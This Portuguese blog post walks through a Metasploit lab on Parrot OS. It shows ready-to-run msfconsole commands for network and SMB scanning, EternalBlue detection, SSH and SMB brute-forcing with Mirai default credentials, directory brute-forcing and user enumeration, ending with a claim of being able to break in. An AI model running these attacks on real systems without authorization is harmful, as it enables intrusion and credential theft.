Metasploit e SMB com o Parrot OS

Arara_ini_leftPara variar, resolvi deixar o Kali Linux um pouco de lado e investir em outros OSs dedicados a testes de penetração. Hoje em dia, existem muitas opções: Kali Linux, BackTrack, Parrot OS, Backbox, BugTraq, Cyborg Hawk, CAINE… Me decidi pelo Parrot Security OS ou ParrotSec, para os íntimos.

Baixei a .iso do Parrot Security (Full) em https://www.parrotsec.org/download-full.fx , instalei no VmWare e fui à luta para sentir o drama; brinquei por uns dias com o básico do pen-testing, exploits, shell-code, reverse shells e coisas relacionadas. As minhas anotações nesta aventura resultaram neste post.

Abri um terminal e executei msfconsole-start.

 Sobre Metasploit

O Metasploit é um framework de teste de penetração poderoso e fácil de usar, amplamente utilizado por entusiastas e profissionais de segurança. É escrito inteiramente em Ruby, então, para quem tem intimidade com outras linguagens de scripting como o Python, se sentirá (quase) em casa. O framework é composto por seis tipos diferentes de módulos (scripts Ruby): Exploits, Payloads, Encoders, NOPs, Post e Auxiliary. Exploits são scripts que aproveitam uma vulnerabilidade do sistema. Um Exploit carrega e entrega um Payload ao host vulnerável, permitindo a penetração no sistema.

  • Payload: É um código que é executado no alvo após um ataque bem-sucedido. Basicamente, ele define o tipo de ações e acesso que se pretende no sistema de destino.
  • Auxiliary: são módulos que oferecem funcionalidades adicionais, como scanning, fuzzing, sniffing e muito mais.
  • Encoders: os Encoders são usados para esconder/mascarar os módulos evitando a detecção por um mecanismo de proteção, como um antivírus ou um firewall.

A tabela a seguir mostra alguns comandos básicos do Metasploit e o que eles fazem:

Comando Uso Exemplo
use [Auxiliary/Exploit/

Payload/Encoder]

Seleciona um módulo específico para começar a trabalhar msf>use exploit/windows/smb/

ms08_067_netapi

show [exploits/payloads/encoder/

auxiliary/options]

Exibe uma lista de módulos específicos disponíveis msf>show exploits
set [options/payload] Define um valor para um objeto específico msf>set payload windows/ meterpreter/reverse_tcp

msf>set LHOST 111.111.111.111

setg [options/payload] Define um valor para um objeto específico para que não mudem quando um módulo for ligado msf>setg payload windows/meterpreter/

reverse_tcp

msf>setg LHOST 111.111.111.111

run Inicia um módulo auxiliar após configuração de todas as opções necessárias msf>run
exploit Iniciar um exploit msf>exploit
back Desistir de um módulo e voltar msf(ms08_067_netapi)>back

msf>

info Listar as informações relacionadas a um determinado exploit/module/auxiliary msf>info exploit/windows/smb/

ms08_067_netapi

search Procurar um determinado module msf>search netapi
check Verifica se um determinado alvo é vulnerável ao exploit ou não msf>check
sessions Lista as sessões disponíveis msf>sessions [session number]

Para iniciar um ataque, é preciso definir as opções. A tabela a seguir mostra algumas dessas opções:

Opção Explicação Valor
RHOST O endereço IP do host remoto a ser atacado 192.168.25.30
RPORT A porta remota a ser conectada 445
payload As ações realizar em um ataque bem sucedido O payload do windows/meterpreter/reverse_tcp configurará uma conexão reversa de volta para a máquina do atacante se houver sucesso no ataque ao destino
LHOST O endereço IP da máquina atacante 192.168.25.33
LPORT A porta da máquina atacante que manipulará as comunicações, em que o shell reverso se conectará ao sistema alvo 4444 (definida como padrão)
meterpreter Um módulo Metasploit que é composto de uma variedade de funções pós-exploração Vários comandos. Em seu uso mais básico, o meterpreter é um terminal Linux no computador da vítima.

Para iniciar um ataque, é preciso definir as opções. A tabela a seguir mostra algumas dessas opções:

Enviar um Payload exige, quase sempre, que sejamos furtivos: essa é a finalidade dos Encoders. Para vulnerabilidade de corrupção de memória, às vezes é necessário um NOP-Sled: são os módulos Nops. Uma vez que o sistema foi invadido, chega a vez de realizar tarefas de pós-exploração (Post); e por último, mas não menos importante, os módulos auxiliares (Auxiliary) são uma variedade de scanners, fuzzers, ataques DoS … basta escolher!

A primeira coisa que se deve fazer ao procurar vulnerabilidades é enumerar os serviços no alvo remoto. Embora minha preferência pelo nmap para isso (incluído no Parrot), o Metasploit é fornecido com um monte de módulos auxiliares adequados para essa tarefa. Para fazer uma varredura TCP clássica basta selecionar o módulo certo executando com use, configurar o endereço CIDR da rede escaneada (192.168.25.0/24, por exemplo) ou uma faixa de IP (192.168.25.0-192.168.25.20, que eu vou aplicar neste post) e aumentar o número de threads para acelerar o processo. Finalmente, definir algumas portas comuns para varrer (por exemplo, 21, 22, 23, 80, 443, 8080 e assim por diante):

SCAN_TCP-new

Com todas as terríveis vulnerabilidades que afetam o Samba (como o Eternal Blue), seria ótimo verificar os servidores SMB na rede, você não acha?

Ao trabalhar com o console às vezes é mais rápido executar em linha-única; abrai um novo terminal e executei:

msfconsole -x “use auxiliary/scanner/smb/smb_version;set RHOSTS 192.168.25.0/24;set THREADS 50;run;quit”

scan_smb-new

Uma vez que a verificação esteja completa, usei o módulo smb_ms17_010 para determinar quais servidores SMB são vulneráveis ao Eternal Blue (voltei para o msfconsole). Desta vez, o foco será nos servidores com porta aberta TCP/445 (obtidos pela verificação anterior). O Metasploit nos permite definir a opção RHOSTS automaticamente graças aos serviços de comandos integrados e ao sinalizador -R (flag -R). Primeiro, escolhi o módulo:

use auxiliary/scanner/smb/smb_ms17_010

Em seguida, peguei os hosts enumerados executando

services -p 445 -S smb

fig smb_ms17-new

A seguir executei o detector ms17_010 contra esses hosts e digitei run.

Pen-testing é sobre encontrar pontos fracos, o que normalmente se traduz em busca de sistemas legados ou desatualizados. É impressionante a quantidade de servidores RDP que ainda possuem a vulnerabilidade ms12_020 (principalmente em redes privadas). Comecei por identificar os servidores RDP:

use auxiliary/scanner/rdp/rdp_scanner

Ao procurar serviços na rede, tendemos a esquecer completamente os serviços UDP. Na maioria das vezes, no entanto, um ponto de partida no sistema pode ser obtido através da exploração de algumas vulnerabilidades em relação aos serviços UDP comuns. Para varrer toda a rede em busca de serviços UDP interessantes:

use auxiliary/scanner/discovery/udp_sweep

set RHOSTS 192.168.25.0/24

run

Obs: daqui em diante,vou limitar a varredura a uma faixa de IP (192.168.25.0-192.168.25.20)

UDP_Sweep-new

Tem aumentado muito a quantidade de empresas que estão adotando o MongoDB para armazenar os dados de seus clientes, em vez de mecanismos de banco de dados relacionais tradicionais. De vez em quando, ouvimos falar de vazamentos de dados, precisamente porque essas empresas não conseguem proteger esses bancos de dados. Você tem algum banco de dados MongoDB em seus servidores? Eles estão bem protegidos? Para descobrir executei:

use auxiliary/scanner/mongodb/mongodb_login

Em seguida, basta definir RHOSTS para o endereço de rede CDIR e executar o módulo com run. Embora este módulo tenha sido projetado como um força-bruta para bancos de dados MongoDB protegidos, ele também pode ser usado para identificar MongoDB, naturalmente.

Existem muitos módulos de scanner, e o número deles está crescendo. Para obter uma lista desses módulos:

ls -l /usr/share/metasploit-framework/modules/auxiliary/scanner/*

Serviços de rede de força bruta

Os serviços de Força Bruta também são possíveis com o Metasploit. Prefiro THC Hydra para isso (incluído no Parrot), mas Metasploit também vem com alguns módulos de força bruta bem legais, como o velho e conhecido Mirai. Bem, então como verificar se há dispositivos com credenciais padrão na rede? É fácil descobrir.

Peguei alguns nomes de usuários e senhas padrão do próprio Mirai:

GitHub_Mirai

wget https://raw.githubusercontent.com/jgamblin/Mirai-Source-Code/master/mirai/bot/scanner.c

Extrai todos os nomes de usuários:

cat scanner.c | grep “add_auth_entry” | awk ‘{print $ 5}’ | sort | uniq> usernames.txt

Em seguida, extrai todas as senhas:

cat scanner.c | grep “add_auth_entry” | awk ‘{print $ 6}’ | sort | uniq> passwords.txt

Escanei toda a rede para localizar servidores SSH:

msfconsole-start

use auxiliary/scanner/ssh/ssh_version

ssh_version-new

Selecionei o módulo SSH brute-force:

use auxiliary/scanner/ssh/ssh_login

Alimentei-o com a identificação dos hosts anteriores:

services -s ssh -R

Defini as opções PASS_FILE e USER_FILE em conformidade:

set PASS_FILE passwords.txt

set USER_FILE usernames.txt

Habilitei algum detalhamento e executei o módulo:

set VERBOSE true

run

ssh_login-new

Às vezes, os serviços de força bruta são ótimos porque permitem determinar se os sistemas remotos implementam alguma proteção básica (como fail2-ban ou algo similar) para evitar esses ataques. Se o ataque de força bruta for bem-sucedido, pode-se obter diferentes sessões para cada login bem-sucedido. Pode-se usar o comando sessions para listar. Para interagir com a sessão, usa-se o sinalizador -i com o ID de sessão associado, como este: session -i 1. Esse comando ó extremamente útil durante a fase de exploração.

Se for um teste de penetração em um servidor web, é preciso executar força bruta no Diretório. Embora minha preferência pelo antigo Dirbuster (incluído no Parrot), também gosto de usar o Metasploit. Selecionei o módulo:

use auxiliary/scanner/http/dir_scanner

Defini o RHOST em conformidade. Alterei o dicionário padrão:

set DICTIONARY /usr/share/wordlists/dirbuster/wordlists/directory-list-2.3-small.txt

Aumentei o número de threads para acelerar:

set THREADS 10

use auxiliary/scanner/http/dir_scanner

set RHOSTS XXX.XXX.XXX.XXX

set DICTIONARY /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt

set THREADS 10

run

Antes de executar o ataque, é preciso remover os comentários do arquivo de dicionário.

Sempre vale a pena procurar por possíveis métodos HTTP inseguros que possam existir em um determinado alvo:

use auxiliary/scanner/http/options

set RHOSTS XXX.XXX.XXX.XXX

set THREADS 10

run

Este módulo retornará uma lista de métodos HTTP habilitados nos alvos: procuro por TRACE, PUT, DELETE … estes são métodos HTTP inseguros bem conhecidos que os atacantes tendem a explorar.

Mas, já que SMB está na moda vamos mais fundo nisso

msf > use auxiliary/scanner/smb/smb1

e

msf > use auxiliary/scanner/smb/smb2

SMBv1e2

O módulo smb_login também pode receber uma lista de nomes de usuário e senhas para tentar executar força bruta em várias máquinas da mesma forma que usei o ssh_login anteriormente.

SMB_login

O módulo smb_lookupsid pesquisa SID em um intervalo de destinos para determinar quais usuários locais existem no sistema. Saber o que os usuários existem em um sistema pode acelerar muito mais as tentativas de logon de força bruta futuras; como eu já escolhi o meu alvo (192.168.25.8), vou aplicar este módulo e, a seguir, rodei o smbclient nesta vitima.

lookupsid

E como já fucei e sei os compartilhamentos, usuário e senha, como demonstrado nas figuras anteriores, já posso invadir!!!!

smb_no IEWIN7

Continuarei com este tema no próximo Post, onde abordarei “Exploit para serviços de rede”, o auxiliary fakedns para falsificar o endereço de um web site, os módulos projetados para roubar credenciais e o uso de encoders para disfarçar os payloadse como fazer estes ataques pela WAN (Internet).

Anúncios

2 comentários

Deixe um comentário

Preencha os seus dados abaixo ou clique em um ícone para log in:

Logotipo do WordPress.com

Você está comentando utilizando sua conta WordPress.com. Sair /  Alterar )

Foto do Google+

Você está comentando utilizando sua conta Google+. Sair /  Alterar )

Imagem do Twitter

Você está comentando utilizando sua conta Twitter. Sair /  Alterar )

Foto do Facebook

Você está comentando utilizando sua conta Facebook. Sair /  Alterar )

Conectando a %s